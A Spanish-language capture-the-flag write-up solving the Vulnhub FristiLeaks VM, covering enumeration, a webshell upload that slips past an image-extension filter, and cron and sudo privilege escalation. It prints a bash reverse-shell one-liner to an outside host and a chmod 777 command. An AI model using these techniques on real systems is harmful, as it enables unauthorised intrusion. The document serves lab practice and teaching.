Vulnhub — Fristileaks : VM Writeup

Israel Aráoz Severiche
6 min readMay 21, 2019

--

De toda la serie de Kioptrix, esta maquina es hasta ahora la mas interesante debido a la gran cantidad de información que proporciona, solo se tienen que unir los puntos…como en el Bjj

“Si estás mirando en la dirección correcta, todo lo que necesitas hacer es seguir caminando” -Buda

En esta ocasión no fue necesario identificar la IP, debido a que el servidor dhcp ya le asigna uno, siempre y cuando configuremos la dirección mac proporcionado en la pagina de vulnhub

al ejecutar nmap

nmap -sC -sV -T5 -O --open -p- -oN machine.nmap 192.168.32.132

Se identificaron los siguientes servicios:

  • 80/tcp — http:Apache httpd 2.2.15 (Centos) DAV/2 PHP/5.3.3

de igual forma fueron identificados los siguientes recursos

/robots.txt
/cola
/sisi
/beer

Al ingresar a estos directorios aparece :

Sin utilizar herramientas como wfuzz, dirb solo mirando el index.html y el nombre de la maquina /fristi y listo , 200 OK

volví a enumerar nuevamente después del directorio fristi/ identificamos uploads

Revisando el codigo fuente del formulario se identifico 2 cosas, un usuario “eezeepz” y una contraseña almacenada en una imagen, y la imagen estaba comentada con base64.

echo 'iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0klS0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+fm63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJZv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvbDpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNdjJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg104VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLqi1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2FgtOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HKul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12qmD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFheEPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJRU5ErkJggg==' | base64 -d > imagen.png
imagen.png

Con el usuario y password identificamos iniciamos sesión

formulario para subida de archivos

Enumeré, siempre es bueno hacerlo

dirb http://192.168.32.132/fristi -X .php,.txt,.html

Volviendo al formulario de upload, intenté subir un archivo con extension php (meterepreter, o una shell reversa),pero el codigo tenia una whitelist de extensiones para subir.

Solo permite archivos de tipo imagen

Buscando por internet encontre una webshell con “header” de un archivo jpeg

Simplemente agregando la extensión .jpg al final de la webshell se saltó el filtro de validación, y en el mismo mensaje se observa el directorio donde se subió la webshell.

Webshell subida.

Ahora ya con esto, comenzamos a ejecutar comandos del O.S

Aquí les dejo la URL de donde descargue, puede que le sirva para un CTF o cualquier otra maquina con esta restricciones.

Bueno ahora para conseguir una shell reversa.

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Low Shell

Una vez con acceso al equipo comenzamos a enumerar, enumerar y enumerar.

Hasta aqui ya tenemos un par de usuarios y claves, ingresando al directorio de eezeepz, vemos que tiene mucha mas info.

rápidamente el archivo notes.txt me llamó la atención, ya nos dice mucho,

primero intente ingresar a los directorios de fristigod y admin, finalmente seguí el camino, accedí a eezeepz.

El autor vuelve a dejar una pista interesante, en resumen : cada minuto se ejecutara un script llamado “runthis” y el resultado sera almacenado en un archivo llamado “cronresult” con privilegios del usuario “admin”, la condición es que sean los binarios permitidos por admin y tomando en cuenta la ruta completa del binario

Nota

Con esta info, hice un PoC para leer algunos archivos

Resultado del archivo que almacena el resultado de la ejecución del comando.

Revisando los binarios permitidos, utilice chmod para poder acceder a la carpeta de admin y seguir chusmeando.

/home/admin/chmod 777 /home/admin

Una vez con los permisos, se accedió al directorio de admin

Dentro del directorio de admin, se encontró información interesante:

cryptedpass.txt -> contenía texto ya cifrado
cryptpass.py -> script utilizado para cifrar
whoisyourgodnow.txt -> contenía texto cifrado
Texto Cifrado
Texto cifrado

Verificando el archivo, se puede observar el algoritmo utilizado para cifrar, base64 -> reverse (base64)->rot13

Después de ver el código se hizo la función para descifrar.

Ahora ya con el texto plano :

(Encrypt) =RFn0AKnlMHMPIzpyuTI0ITG = LetThereBeFristi! (Texto Plano)
(Encrypt) mVGZ303omkJLmypcuTq = thisisalsopw123 (Texto plano)

Escapando de la shell

probando como password los textos planos.

Tomando en cuenta el mensaje del creador y la enumeración de binarios, se identificó el binario /var/fristigod/.secret_admin_stuff/doCom

Encontré este Excelente articulo para profundizar en el tema:

se reviso el archivo /etc/sudoers, y vuelve aparecer el mismo binario, pero identificando que usuario puede ejecutar.

verificar un par de cosas mas en el binario, para ver que info podemos obtener

siguiendo la estructura de ejecutar el binario y pasar un parametro obtenemos root ;) !

accediendo al directorio de root, cat al archivo y listo!

Saludos!

--

--

Israel Aráoz Severiche
Israel Aráoz Severiche

Written by Israel Aráoz Severiche

{💀Cybersecurity Engineer​​🐞 } / { 🥋​ Purple Belt Brazilian Jiu Jitsu } / {🌐​https://twitter.com/iara0z}

No responses yet